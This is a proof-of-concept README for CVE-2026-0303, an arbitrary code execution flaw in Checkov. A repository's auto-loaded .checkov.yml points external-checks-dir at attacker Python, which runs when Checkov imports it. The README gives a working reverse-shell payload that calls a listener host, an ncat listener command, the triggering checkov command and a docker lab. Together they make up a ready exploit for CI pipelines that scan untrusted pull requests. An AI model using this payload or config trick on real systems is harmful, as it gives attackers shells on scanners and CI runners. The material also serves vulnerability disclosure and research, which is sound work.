yonliud/cve-2026-0303Checkov PoC: arbitrary code execution through auto-loaded configuration and unsigned external Python checks.
CVE: CVE-2026-0303 | CVSS Base: 6.3 | Severity: Low
CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:P/VC:N/VI:L/VA:N/SC:H/SI:H/SA:H
CVE-2026-0303 - Arbitrary code execution vulnerability in Checkov.
Published by Palo Alto Networks on September 9, 2026.
Affected versions: Checkov 3.2.0 through 3.2.531
Fixed version: Checkov 3.2.532
Arbitrary code execution in Checkov through an auto-loaded .checkov.yml file
-> execution of attacker-controlled Python through an unsigned external custom
check.
https://github.com/user-attachments/assets/62af16bb-5b7f-4465-98b9-2d1836f5ee4f
Checkov supports external Python checks. These checks are intentionally loaded as Python modules, which means that top-level Python statements execute during module import.
When Checkov scans a directory, it automatically searches that directory for a or configuration file, an attacker-controlled configuration file could set to a directory inside the scanned repository.
.checkov.yml.checkov.yamlexternal-checks-dirThis creates the following execution chain:
Victim scans an untrusted repository
->
Checkov automatically loads .checkov.yml
->
The configuration sets external-checks-dir
->
Checkov imports an attacker-controlled Python module
->
Top-level Python code executes with Checkov's privileges
The attacker does not need to exploit the Terraform parser or provide a valid Checkov policy. Code execution occurs when Checkov imports the Python file.
This is particularly relevant to CI pipelines that automatically run Checkov against pull requests or other untrusted repository content.
The lab payload connects from the Checkov container to a listener on the host:
def exploit():
lhost = "host.docker.internal"
lport = 4545
sock = socket.create_connection((lhost, lport))
for file_descriptor in (0, 1, 2):
os.dup2(sock.fileno(), file_descriptor)
subprocess.call(["/bin/sh", "-i"])
exploit()
Modify the payload at exploit\external-checks\poc_check.py:
lhost = "127.0.0.1"
lport = 4444
Start a listener on the host:
ncat -lvkp 4444
Trigger the vulnerable behavior by scanning the attacker-controlled directory:
checkov -d /workspace --framework terraform --skip-download
Checkov automatically reads /workspace/.checkov.yml, discovers the external
check directory, and imports poc_check.py. The listener should receive the
shell when the module-level exploit() call executes.
I have provided a simple docker lab that you can setup via
docker compose up -d
and connect to it's shell via
docker exec -it scan-server /bin/sh
This repository contains an independent proof of concept for CVE-2026-0303. The vulnerability was recreated and tested in an isolated laboratory environment.
This project is intended solely for authorized security research, education, and testing in isolated environments. Do not use it against systems, networks, repositories, or data without explicit authorization from the owner.
The author provides this project as-is, without warranties of any kind, and accepts no responsibility for damage, data loss, service disruption, unauthorized access, or misuse of this software or its derivatives.